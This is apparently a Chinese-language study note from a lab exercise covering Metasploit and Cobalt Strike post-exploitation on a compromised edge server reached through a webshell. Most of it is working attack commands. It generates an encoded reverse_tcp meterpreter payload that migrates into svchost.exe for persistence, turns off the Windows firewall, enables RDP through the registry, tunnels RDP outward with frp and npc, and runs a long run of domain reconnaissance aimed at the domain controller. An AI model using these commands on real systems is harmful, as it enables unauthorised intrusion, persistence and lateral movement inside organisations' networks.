、本文章主要那邊界機器作為msf和cs學習練習用
參考鏈接
https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247484720&idx=1&sn=2772684974b506ee81f7e8def15a37ed&scene=21#wechat_redirect
拿到邊界機器的webshell之后,上傳Temp目錄或者尋找網站upload文件夾嘗試上傳。
msfvenom所有參數
-p, –payload < payload> 指定需要使用的payload(攻擊荷載)。也可以使用自定義payload,幾乎是支持全平台的 -l, –list [module_type] 列出指定模塊的所有可用資源. 模塊類型包括: payloads, encoders, nops, all -n, –nopsled < length> 為payload預先指定一個NOP滑動長度 -f, –format < format> 指定輸出格式 (使用 –help-formats 來獲取msf支持的輸出格式列表) -e, –encoder [encoder] 指定需要使用的encoder(編碼器),指定需要使用的編碼,如果既沒用-e選項也沒用-b選項,則輸出raw payload -a, –arch < architecture> 指定payload的目標架構,例如x86 | x64 | x86_64 –platform < platform> 指定payload的目標平台 -s, –space < length> 設定有效攻擊荷載的最大長度,就是文件大小 -b, –bad-chars < list> 設定規避字符集,指定需要過濾的壞字符例如:不使用 '\x0f'、'\x00'; -i, –iterations < count> 指定payload的編碼次數 -c, –add-code < path> 指定一個附加的win32 shellcode文件 -x, –template < path> 指定一個自定義的可執行文件作為模板,並將payload嵌入其中 -k, –keep 保護模板程序的動作,注入的payload作為一個新的進程運行 –payload-options 列舉payload的標准選項 -o, –out < path> 指定創建好的payload的存放位置 -v, –var-name < name> 指定一個自定義的變量,以確定輸出格式 –shellest 最小化生成payload -h, –help 查看幫助選項 –help-formats 查看msf支持的輸出格式列表
防止假session
在實戰中,經常會遇到假session或者剛連接就斷開的情況,這里補充一些監聽參數,防止假死與假session。
msf exploit(multi/handler) > set ExitOnSession false //可以在接收到seesion后繼續監聽端口,保持偵聽。
防止session意外退出
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0 //默認情況下,如果一個會話將在5分鍾(300秒)沒有任何活動,那么它會被殺死,為防止此情況可將此項修改為0 msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默認情況下,一個星期(604800秒)后,會話將被強制關閉,修改為0可永久不會被關閉
handler后台持續監聽
msf exploit(multi/handler) > exploit -j -z
使用exploit -j -z
可在后台持續監聽,-j為后台任務,-z為持續監聽,使用Jobs命令查看和管理后台任務。jobs -K
可結束所有任務
快捷的建立監聽方式,在msf下面執行
msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp
會直接在jobs里面生成監聽隊列
payload的可持續化
一般來說使用msfvenom生成的payload會單獨開啟一個進程,這種進程很容易被發現和關閉,在后期想做持久化后門
在生成payload時可直接使用如下命令,生成的payload會直接注入到指定進程中。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
生成的shell程序執行后會啟動兩個進程shell.exe
和svchost.exe
,關閉其中一個不會影響會話狀態。
(1)PrependMigrate=true PrependMigrateProc=svchost.exe
使這個程序默認會遷移到svchost.exe進程,自己測試的時候不建議到這個進程而是其他的持久進程。
(2)使用-p指定使用的攻擊載荷模塊,使用-e指定使用x86/shikata_ga_nai編碼器,使用-f選項告訴MSF編碼器輸出格式為exe,-o選項指定輸出的文件名為payload.exe,保存在根目錄下。
將生成的shell.exe傳入Temp目錄,然后在webshell管理工具里面執行。
攻擊機監聽
use exploit/multi/handler set PAYLOAD <Payload name> set LHOST 10.211.55.2 set LPORT 3333 set ExitOnSession false exploit -j -z
查看是否開啟遠程桌面服務
netstat -an | findstr "3389"
在webshell里面開啟遠程桌面命令
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
直接連接遠程遠程桌面,連接不上去,目標機器開啟了防火牆
在msf里面使用命令關閉防火牆
netsh advfirewall set allprofiles state off
直接連接靶機
第二種思路,使用frp反彈3389端口到公網。
目標靶機上傳frpc,frpc.ini配置文件如下配置
[common] server_addr = ip server_port = 7000 [mysql] type = tcp local_ip = 127.0.0.1 local_port = 3389 remote_port = 33891
公網監聽frps,等待端口反彈
第三種思路,使用npc,上線nps
webshell上傳npc
webshell執行命令上線
npc.exe -server=192.168.2.113:8024 -vkey=123321 -type=tcp
目標靶機成功上線
此時就可以通過建立socket連接通道結合proxychains或者proxifier做全局代理實現內網橫向滲透。
下面就是殺入域控,先做一些基礎的信息搜集,滲透測試的本質就是信息搜集
ipconfig /all 查詢本機IP段,所在域等 net config Workstation 當前計算機名,全名,用戶名,系統版本,工作站域,登陸域 net user 本機用戶列表 net localgroup administrators 本機管理員[通常含有域用戶] net user /domain 查詢域用戶 net user 用戶名 /domain 獲取指定用戶的賬戶信息 net user /domain b404 pass 修改域內用戶密碼,需要管理員權限 net group /domain 查詢域里面的工作組 net group 組名 /domain 查詢域中的某工作組 net group "domain admins" /domain 查詢域管理員列表 net group "domain controllers" /domain 查看域控制器(如果有多台) net time /domain 判斷主域,主域服務器都做時間服務器 ipconfig /all 查詢本機IP段,所在域等
直接ping域服務器
可以得到域控的IP
192.168.52.138
net group /domain 查詢域里面的工作組
Domain Admins :域管理員
Domain Computers:域內機器
Domain Controllers:域控制器
Domain Guests:域訪客
Domain Users:域用戶
Enterprise Admins:企業系統管理員
另外一些常用的查詢命令
whoami systeminfo nslookup god.org # 解析域名IP地址 net config workstation #查詢當前登陸域及登陸用戶信息 net view /domain #查看域 net time /domain # 獲取域服務器的時間
查詢操作系統信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文操作系統 systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本" # 中文操作系統 echo %PROCESSOR_ARCHITECTURE% # 查看系統系統結構
查看安裝的軟件以及版本、路徑信息
wmic product get name,version # 使用wmic操作 powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,Version" #使用powershell進行操作
另外一些查詢命令
wmic service list brief # 查詢本機服務信息 tasklist #查詢進程 wmic process list brief #使用wmic查詢進程 wmic startup get command,caption #查看啟動進程 schtasks /query /fo list /v # 查看計划任務 net statistics workstation # 查看主機開機時間 netstat -ano #查詢端口列表 wmic qfe get caption,description,hotfixid,installedon #查詢本機安裝的補丁
查詢機器內賬號信息
net user #查看本機用戶列表 net localgroup administrators # 獲取本地管理員 query user || qwinsta # 獲取在線用戶 net session # 列出計算機所連接的客戶端之間的會話 net share # 查看本機共享列表 wmic share get name,path,status #使用wmic 查詢本機共享列表
關閉防火牆
netsh firewall set opmode disable # windows server 2003 之前 netsh advfirewall set allprofiles state off # windows server 2003 之后
開啟3389
注冊表打開: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f #開啟的話把0改為1 wmic開啟3389: wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
探測域內存活主機
Ping命令探測內網主機 for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL=" 使用Ladon插件在CobaltStrike上查詢存活主機 Ladon 192.168.52.0/24 OnlinePC
查找域控
nltest /domain_trusts #獲取域信任信息 nltest /DCLIST:god #查看域控制器機器名 net group "domain admins" /domain #查詢域管理員用戶 net group "Enterprise admins" /domain # 查詢管理員用戶在
PS msfshell執行命令中文亂碼
解決方案:將終端窗口的編碼方式改為GBK編碼